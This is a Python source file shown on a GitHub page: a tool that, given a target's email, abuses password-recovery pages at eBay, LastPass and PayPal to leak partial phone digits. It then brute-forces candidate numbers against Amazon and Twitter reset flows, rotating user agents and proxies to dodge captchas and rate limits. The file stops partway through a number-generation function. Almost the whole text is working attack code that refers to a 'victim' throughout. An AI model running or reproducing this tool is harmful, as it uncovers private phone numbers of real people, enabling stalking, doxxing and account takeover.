-
Notifications
You must be signed in to change notification settings - Fork 262
/
email2phonenumber.py
1075 lines (1034 loc) · 51.7 KB
/
email2phonenumber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
import argparse
import requests
import re
import sys
import os
import time
import zipfile
import random
import urllib
from itertools import product
from bs4 import BeautifulSoup
import logging
# Basic configuration for logging
logging.basicConfig(format='%(message)s')
logger = logging.getLogger()
logger.setLevel(logging.INFO)
requests.packages.urllib3.disable_warnings()
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
userAgents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
"Opera/9.80 (J2ME/MIDP; Opera Mini/7.1.32052/29.3417; U; en) Presto/2.8.119 Version/11.10",
"Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 "
"(KHTML, like Gecko) Version/10.1.2 Safari/603.3.8",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) "
"Version/11.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"]
proxyList = []
verifyProxy = False
# To cache results from national pooling website and save bandwidth
poolingCache = {}
def start_brute_force(phone_numbers, victim_email, quiet_mode, verbose):
"""
Stars brute force method on a list of possible phone numbers and victim email
:param phone_numbers: List of possible phone numbers
:param victim_email: Email of the victim
:param quiet_mode: Choose quiet mode
:param verbose: Verbose mode
:return:
"""
if quiet_mode:
get_masked_email_twitter(phone_numbers, victim_email, verbose)
else:
get_masked_email_amazon(phone_numbers, victim_email, verbose)
get_masked_email_twitter(phone_numbers, victim_email, verbose)
def get_masked_email_amazon(phone_numbers, victim_email, verbose):
"""
Uses Amazon to obtain masked email by resetting passwords using phone numbers
:param phone_numbers: List of possible phone numbers
:param victim_email: Email of the victim
:param verbose: Verbose mode
:return:
"""
global userAgents
global proxyList
logger.info("Using Amazon to find victim's phone number...")
regex_email = r"[a-zA-Z0-9]\**[a-zA-Z0-9]@[a-zA-Z0-9]+\.[a-zA-Z0-9]+"
found_possible_number = False
for phone_number in phone_numbers:
# Pick random user agents to help prevent captcha
user_agent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get(
"https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
headers={
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Upgrade-Insecure-Requests": "1"
},
proxies=proxy,
verify=verifyProxy
)
session_id = response.cookies["session-id"]
prevrid_search = re.search(
'name="prevRID" value="(.*)"', response.text).group(1)
workflow_state = re.search(
'name="workflowState" value="(.*)"', response.text).group(1)
app_action_token = re.search(
'name="appActionToken" value="(.*)" /><input', response.text).group(1)
csmhit_cookie = {
"version": 0,
"name": 'csm-hit',
"value": 'tb:B79Q924JBYC22JBPZBPY+s-B79Q924JBYC22JBPZBPY|1555913752789&t:1555913752789&adb:adblk_no',
"port": None,
"domain": 'www.amazon.com'
}
session.cookies.set(**csmhit_cookie)
if "Location" in response.headers:
redirect_url = response.headers['Location']
if "prevRID" in redirect_url:
response = session.post(
"https://www.amazon.com/ap/forgotpassword/",
headers={
"Cache-Control": "max-age=0",
"Origin": "https://www.amazon.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data="prevRID=" + urllib.quote(prevrid_search)
+ "&workflowState=" + workflow_state
+ "&appActionToken=" + app_action_token
+ "&appAction=" + "FORGOTPWD"
+ "&email=" + phone_number
+ "&metadata1="
+ "ECdITeCs%3AYepiSml9%2BnkZb0MXAk3%2ByjdXcfjkmehrjevmNH8ceN%"
"2B2SfKQrivwPHTKWv7IzIHd1lYz1tY2WGqeS7Zioe78H679%2BxQ4MXpJCv"
"XrC8KSxHfeI%2Fe1L061lUDZFhZLZroR593ReR9RicjJHRSp5rIK%2BGy9%"
"2F2503L2FTVB68OpW8yksfG%2BTO3cucoWs%2BPVbLiCnxPkCdpD5gZN6q9"
"LFjhuI9Qce3e3YcxWedio0smgtPGmNh1LdRmg3hLRZ%2BsKvsD67pTxoGel"
"%2BXgYRdqLClyXiDpsojLZp4VtZcYf%2FtoKazdvrKROQMUArQie33En4WG"
"wRuNGgPCR3Ecliuc8ap3uGnzyWJ4DWONj772XHI3OrFymVF1ImSHFbPV3uSK"
"CxpFnUn9mh3obKJHKk1GB0dolo2aXLIT%2FAWt%2BjIhJLT4qjo3DI7biJQF"
"qdAJCu%2FIJqnndDj10OoWkOAEsJ6vu4OcQrCuAccFl1FEg24Bg0kcWE4yJl"
"mL%2FRFs7n34x0QARkqnYjYyLRkBfIbGcfqNLb3kD%2Fl3vH%2BX46uYVTPT"
"cmZ2gpKHEGx9UcWX%2FslI9RgiHJj54wDgTBIpUQiMl7T7Db5n3Li4O1%2FD"
"PMS%2FSMaQSkH2mbVXB1yINJox5F93ByPAU2ZSRtuxAhOl0jaUWlj%2FsfiK"
"7Ay8bxIbE%2FFY4AgG0aaJG7G7nnxwEN7ejklXkmkHAxrfyLx6BLAXmvN%2B"
"g8sFRvQoaIxRIrKqGF2qY4EbEtVmq04BwYOCt4TB13NS1KU0fXgYjNxklDwr"
"IN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l2x%2F"
"5MbNirkVNUC5yBw8I5GaOHyVvfoFZJq267EBbki7ISkB6i7Elsbs7A0kC01oq29"
"FET8%2FArbkzNmSeH%2FeshDZgX%2BG%2BN%2FYp%2BoIfwSvX2CWxJGCrhceM1"
"TO58KNJ78OQ%2Fa%2B%2BBdaKbDXEeQ3YKQIUIzpErZPzbjwVPwJ4nLePc8f9zy"
"ngxTyZVMOH7%2BjeRX%2BzngKShBiKy8a4hyfFekb%2BdrP%2FqBEcjyq8sWtWT"
"BNEEdl5uJFiKHQSy%2F5WAFuuX3yerQHq%2BYsDdd0f4lWftNcHxdLJ5C1IKhm7"
"TLEAbt37Szs%2FNf1lxuQJ4H8GWolMSKCXjPTr7JX5lmCbLaM6cqPkYsoMfkYZK"
"HcTB5qL3Fuc%2F1RjRCVbebr5eqK8mEHq6miZH%2FkNYCwMhG%2Fe8dk9pD8wcQ"
"m9dAoX4LyiGmcFSHkw7Vyu3c%2FyEFRKQr5McsOyPavoTIl73JelEUq2gjfXw%2"
"Fj6BMGNWhttumOOPOkNcRAUUZoNvKo44x%2BNGUVNN0hgYmrDt9FBx%2F%2F2Pf"
"HDNu3TsOZCqB5LyPgmCiZ83StGq2dy%2FX8hlWXdBfcvJdNTCRrob7GIYrZg3so"
"md0r%2FbS2tYsIPj6OLAhZf9EuZ8sa6ECrFp9Lhl321R8ls3kS3zyIFNMEWWFFW"
"OMxRrTiZ%2FYUCi4%2FkFrEuPR%2BTpWb%2Bv%2FjCVyA6xXvdrHThl%2FBPMHI"
"L%2FNsH3%2Fc8xEHoaHiEpuMnmYRdr7Kg8vC%2FrE0Q5gGxHa%2BzgfX1w0Snzy"
"mr%2BNZyq8lKNwidFciPR30pkKoS4VsZpzq7WlxT1k8rSH25Iqi20%2Bg%3D%3D",
allow_redirects=False,
proxies=proxy,
verify=verifyProxy
)
redirect_prev_rid = re.search(
'prevRID=([A-Z0-9]+)&', redirect_url).group(1)
redirect_param_jwt = re.search(
'paramJwt=(.*)&', redirect_url).group(1)
response = session.get(
redirect_url,
headers={
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Language": "en-US,en;q=0.9"
},
proxies=proxy,
verify=verifyProxy
)
else:
response = session.get(
"https://www.amazon.com" + redirect_url,
headers={
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,"
"image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies=proxy,
verify=verifyProxy
)
if response.status_code >= 500:
logger.warning("%sError 500 returned for phone: %s %s",
YELLOW, phone_number, ENDC)
continue
elif "We're sorry" in response.text:
# Phone is not registered
if verbose:
logger.info("%sPhone %s not registered %s",
YELLOW, phone_number, ENDC)
continue
elif "reached the maximum number of attempts" in response.text:
if verbose:
logger.info(
"%sMAX attempts reached when trying phone: %s %s", YELLOW, phone_number, ENDC)
continue
elif "Enter the characters above" in response.text:
if verbose:
logger.info("%sCaptcha caught us trying number: %s %s",
YELLOW, phone_number, ENDC)
continue
elif "Set a new password" in response.text:
# Deal with multiple option
response = session.post(
"https://www.amazon.com/ap/forgotpassword/options?ie=UTF8&openid.pape.max_auth_age=0"
"&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select¶mJwt="
+ redirect_param_jwt
+ "&pageId=usflex&ignoreAuthState=1&openid.return_to=https%3A%2F%2Fwww.amazon.com%2F%3Fref"
"3Dnav_custrec_signin&prevRID="
+ redirect_prev_rid
+ "&openid.assoc_handle=usflex&openid.mode=checkid_setup&openid.ns.pape=http%3A%2F%2Fspecs.openid.net"
"2Fextensions%2Fpape%2F1.0&failedSignInCount=0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net"
"2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0",
headers={
"Cache-Control": "max-age=0",
"Origin": "https://www.amazon.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
data="prevRID=" + prevrid_search + "&workflowState=" +
workflow_state + "&fppOptions=notSkip",
proxies=proxy,
verify=verifyProxy
)
if not re.search(regex_email, response.text):
# Sometimes no mask is shown, just the actual phone number
if verbose:
logger.info(
"%sNo masked email displayed for number: %s %s", YELLOW, phone_number, ENDC)
continue
masked_email = re.search(regex_email, response.text).group(0)
if \
len(victim_email) == len(masked_email) \
and victim_email[0] == masked_email[0] \
and victim_email[victim_email.find('@')-1:] == masked_email[masked_email.find('@')-1:]:
logger.info("%sPossible phone number for %s is: %s %s",
GREEN, victim_email, phone_number, ENDC)
found_possible_number = True
else:
if verbose:
logger.info("%sNo match for email: %s and number: %s %s",
YELLOW, masked_email, phone_number, ENDC)
elif "We've sent a code to the email" in response.text:
# Got the masked email
masked_email = re.search(regex_email, response.text).group(0)
if \
len(victim_email) == len(masked_email) \
and victim_email[0] == masked_email[0] \
and victim_email[victim_email.find('@')-1:] == masked_email[masked_email.find('@')-1:]:
logger.info("%sPossible phone number for %s is: %s %s",
GREEN, victim_email, phone_number, ENDC)
found_possible_number = True
else:
if verbose:
logger.info("%sNo match for email: %s and number: %s %s",
YELLOW, masked_email, phone_number, ENDC)
else:
logger.error("%sUnknown error: %s", RED, ENDC)
if verbose:
logger.error("%s%s %s", RED, response.text, ENDC)
exit("Unknown error!")
if not found_possible_number:
logger.error(
"%sCouldn't find a phone number associated to %s %s", RED, args.email, ENDC)
def get_masked_email_twitter(phone_numbers, victim_email, verbose):
"""
Uses Amazon to obtain masked email by resetting passwords using phone numbers
:param phone_numbers: List of possible phone numbers
:param victim_email: Victim email
:param verbose: Verbose mode
:return:
"""
global userAgents
global proxyList
logger.info("Using Twitter to find victim's phone number...")
found_possible_number = False
regex_email = r"[a-zA-Z0-9]\**[a-zA-Z0-9]@[a-zA-Z0-9]+\.[a-zA-Z0-9]+"
for phone_number in phone_numbers:
# Pick random user agents to help prevent captcha
user_agent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get(
"https://twitter.com/account/begin_password_reset",
headers={
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Push-State-Request": "true",
"X-Requested-With": "XMLHttpRequest",
"X-Twitter-Active-User": "yes",
"User-Agent": user_agent,
"X-Asset-Version": "5bced1",
"Referer": "https://twitter.com/login",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies=proxy,
verify=verifyProxy
)
authenticity_token = ""
regex_output = re.search(
r'authenticity_token.+value="(\w+)">', response.text)
if regex_output and regex_output.group(1):
authenticity_token = regex_output.group(1)
else:
if verbose:
logger.info(
"%sTwitter did not display a masked email for number: %s %s ", YELLOW, phone_number, ENDC)
continue
response = session.post(
"https://twitter.com/account/begin_password_reset",
headers={
"Cache-Control": "max-age=0",
"Origin": "https://twitter.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://twitter.com/account/begin_password_reset",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
data="authenticity_token=" + authenticity_token +
"&account_identifier=" + phone_number,
allow_redirects=False,
proxies=proxy,
verify=verifyProxy
)
if \
"Location" in response.headers \
and response.headers['Location'] == "https://twitter.com/account/password_reset_help?c=4":
logger.error(
"%sTwitter reports MAX attempts reached. Need to change IP. It happened while trying phone %s %s ",
RED, phone_number, ENDC)
continue
response = session.get(
"https://twitter.com/account/send_password_reset",
headers={
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer":
"https://twitter.com/account/begin_password_reset",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies=proxy,
verify=verifyProxy
)
masked_email = ""
regex_output = re.search(
r'<strong .+>([a-zA-Z]+\*+@[a-zA-Z\*\.]+)<\/strong>', response.text)
if regex_output and regex_output.group(1):
masked_email = regex_output.group(1)
if \
len(victim_email) == len(masked_email) \
and victim_email[0] == masked_email[0] \
and victim_email[1] == masked_email[1] \
and victim_email[victim_email.find('@')+1: victim_email.find('@')+2] \
== masked_email[masked_email.find('@')+1: masked_email.find('@')+2]:
logger.info(
"%sTwitter found that the possible phone number for %s is: %s %s",
GREEN, victim_email, phone_number, ENDC)
found_possible_number = True
else:
if verbose:
logger.info(
"%sTwitter did not find a match for email: %s and number: %s %s",
YELLOW, masked_email, phone_number, ENDC)
else:
if verbose:
logger.info(
"%sTwitter did not display a masked email for number: %s %s", YELLOW, phone_number, ENDC)
continue
if not found_possible_number:
logger.error(
"%sCouldn't find a phone number associated to %s %s", RED, args.email, ENDC)
def start_scrapping(email, quiet_mode):
"""
Starts scrapping
:param email: Email to search for
:param quiet_mode: Quiet mode selection
:return:
"""
logger.info("Starting scraping online services...")
if quiet_mode:
scrape_paypal(email)
else:
scrape_ebay(email)
scrape_last_pass(email)
scrape_paypal(email)
def scrape_last_pass(email):
"""
Scrape last pass service
:param email: Email to scrape
:return:
"""
global userAgents
global proxyList
logger.info("Scraping Lastpass...")
user_agent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get(
"https://lastpass.com/recover.php",
headers={
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies=proxy,
verify=verifyProxy
)
csrf_token = re.search(
'<input type="hidden" name="token" value="(.+?)">', response.text).group(1)
response = session.post(
"https://lastpass.com/recover.php",
headers={
"Cache-Control": "max-age=0",
"Origin": "https://lastpass.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://lastpass.com/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data="cmd=sendemail" + "&token=" + csrf_token + "&username=" + email,
proxies=proxy,
verify=verifyProxy
)
last_two_digits = ""
regex_output = re.search(
"We sent an SMS with a verification code to .*>(\+?)(.+([0-9]{2}))<\/strong>", response.text)
if regex_output and regex_output.group(3):
last_two_digits = regex_output.group(3)
logger.info("%sLastpass reports that the last 2 digits are: %s %s",
GREEN, last_two_digits, ENDC)
if regex_output.group(1):
logger.info(
"%sLastpass reports a non US phone number %s", GREEN, ENDC)
logger.info(
"%sLastpass reports that the length of the phone number (including country code) is %s digits %s",
GREEN, str(len(regex_output.group(2).replace("-", ""))), ENDC)
else:
logger.info(
"%sLastpass reports a US phone number %s", GREEN, ENDC)
logger.info(
"%sLastpass reports that the length of the phone number (without country code) is %s digits %s",
GREEN, str(len(regex_output.group(2).replace("-", ""))), ENDC)
else:
logger.info("%sLastpass did not report any digits %s", YELLOW, ENDC)
def scrape_ebay(email):
"""
Scrapes ebay
:param email: Email to use to scrape ebay
:return:
"""
global userAgents
global proxyList
logger.info("Scraping Ebay...")
user_agent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get(
"https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&gchru=&clientapptype=19&rmvhdr=false",
headers={
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies=proxy,
verify=verifyProxy
)
regex_input = ""
regex_output = re.search(r'value="(\w{60,})"', response.text)
if regex_output and regex_output.group(1):
regex_input = regex_output.group(1)
else:
logger.info("%sEbay did not report any digits %s", YELLOW, ENDC)
return
response = session.post(
"https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&gchru=&clientapptype=19&rmvhdr=false",
headers={
"Cache-Control": "max-age=0",
"Origin": "https://fyp.ebay.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer":
"https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&clientapptype=19&signInUrl="
"https%3A%2F%2Fwww.ebay.com%2Fsignin%3Ffyp%3Dsgn%26siteid%3D0%26co_partnerId%3D0%26ru%3Dhttps%25"
"3A%252F%252Fwww.ebay.com%252F&otpFyp=1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data="ru=https%253A%252F%252Fwww.ebay.com%252F"
+ "&showSignInOTP="
+ "&signInUrl="
+ "&clientapptype=19"
+ "&reqinput=" + regex_input
+ "&rmvhdr=false"
+ "&gchru=&__HPAB_token_text__="
+ "&__HPAB_token_string__="
+ "&pageType="
+ "&input=" + email,
proxies=proxy,
verify=verifyProxy)
first_digit = ""
last_two_digits = ""
regex_output = re.search(
"text you at ([0-9]{1})xx-xxx-xx([0-9]{2})", response.text)
if regex_output:
if regex_output.group(1):
first_digit = regex_output.group(1)
logger.info("%sEbay reports that the first digit is: %s %s",
GREEN, first_digit, ENDC)
if regex_output.group(2):
last_two_digits = regex_output.group(2)
logger.info("%sEbay reports that the last 2 digits are: %s %s",
GREEN, last_two_digits, ENDC)
else:
logger.info("%sEbay did not report any digits %s", YELLOW, ENDC)
def scrape_paypal(email):
"""
Scrapes paypal using email
:param email: Email to scrape
:return:
"""
global userAgents
global proxyList
logger.info("Scraping Paypal...")
user_agent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get(
"https://www.paypal.com/authflow/password-recovery/",
headers={
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies=proxy,
verify=verifyProxy
)
_csrf = ""
regex_output = re.search(
r'"_csrf":"([a-zA-Z0-9+\/]+={0,3})"', response.text)
if regex_output and regex_output.group(1):
_csrf = regex_output.group(1)
else:
logger.info("%sPaypal did not report any digits %s", YELLOW, ENDC)
return
response = session.post(
"https://www.paypal.com/authflow/password-recovery",
headers={
"Upgrade-Insecure-Requests": "1",
"Origin": "https://www.paypal.com",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": user_agent,
"Accept": "*/*",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data="email=" + email + "&_csrf=" + _csrf,
proxies=proxy,
verify=verifyProxy
)
_csrf = _sessionID = jse = ""
regex_output = re.search(
r'"_csrf":"([a-zA-Z0-9+\/]+={0,3})"', response.text)
if regex_output and regex_output.group(1):
_csrf = regex_output.group(1)
regex_output = re.search(r'_sessionID" value="(\w+)"', response.text)
if regex_output and regex_output.group(1):
_sessionID = regex_output.group(1)
regex_output = re.search(r'jse="(\w+)"', response.text)
if regex_output and regex_output.group(1):
jse = regex_output.group(1)
if not _csrf or not _sessionID or not jse:
logger.info("%sPaypal did not report any digits %s", YELLOW, ENDC)
return
response = session.post(
"https://www.paypal.com/auth/validatecaptcha",
headers={
"Upgrade-Insecure-Requests": "1",
"Origin": "https://www.paypal.com",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": user_agent,
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data="captcha="
+ "&_csrf=" + _csrf
+ "&_sessionID=" + _sessionID
+ "&jse=" + jse # TODO
+ "&ads_token_js=b2c9ad327f5fa65af5a0a0a4cfa912d5cadf0f593027afffadd959390753d44d&afbacc5007731416=2e21541bb2d5470b",
proxies=proxy,
verify=verifyProxy
)
client_instance_id = ""
regex_output = re.search(
'"clientInstanceId":"([a-zA-Z0-9-]+)"', response.text)
if regex_output and regex_output.group(1):
client_instance_id = regex_output.group(1)
else:
logger.info("%sPaypal did not report any digits %s", YELLOW, ENDC)
return
response = session.get(
"https://www.paypal.com/authflow/entry/?clientInstanceId=" + client_instance_id,
headers={
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies=proxyList,
verify=verifyProxy
)
last_digits = ""
regex_output = re.search(
r"Mobile <span.+((\d+)\W+(\d+))<\/span>", response.text)
if regex_output and regex_output.group(3):
last_digits = regex_output.group(3)
logger.info("%sPaypal reports that the last %s digits are: %s %s",
GREEN, len(regex_output.group(3)), last_digits, ENDC)
if regex_output.group(2):
first_digit = regex_output.group(2)
logger.info(
"%sPaypal reports that the first digit is: %s %s", GREEN, first_digit, ENDC)
if regex_output.group(1):
logger.info(
"%sPaypal reports that the length of the phone number (without country code) is %s digits %s",
GREEN, len(regex_output.group(1)), ENDC)
# TODO: remove spaces
else:
logger.info("%sPaypal did not report any digits %s", YELLOW, ENDC)
# GENERADORES
def get_possible_phone_numbers(masked_phone):
"""
Returns all possible valid phone numbers according to NANPA based on a partial phone number
:param masked_phone: Masked phone
:return:
"""
global poolingCache
possible_phone_numbers = []
nanpa_file_url = "https://www.nationalnanpa.com/nanp1/allutlzd.zip"
# Check if we need to download/update NANPA file
nampa_file = "allutlzd"
if \
not os.path.exists("./" + nampa_file + ".zip") \
or (time.time() - os.path.getmtime("./" + nampa_file + ".zip")) > (24*60*60):
logger.info(
"NANPA file missing or needs to be updated. Downloading now...")
response = requests.get(nanpa_file_url)
with open(nampa_file + ".zip", "wb") as code:
code.write(response.content)
logger.info("NANPA file downloaded successfully")
archive = zipfile.ZipFile("./" + nampa_file + ".zip", 'r')
file = archive.read(nampa_file + '.txt').decode('utf-8')
archive.close()
# Only assigned area codes and exchanges
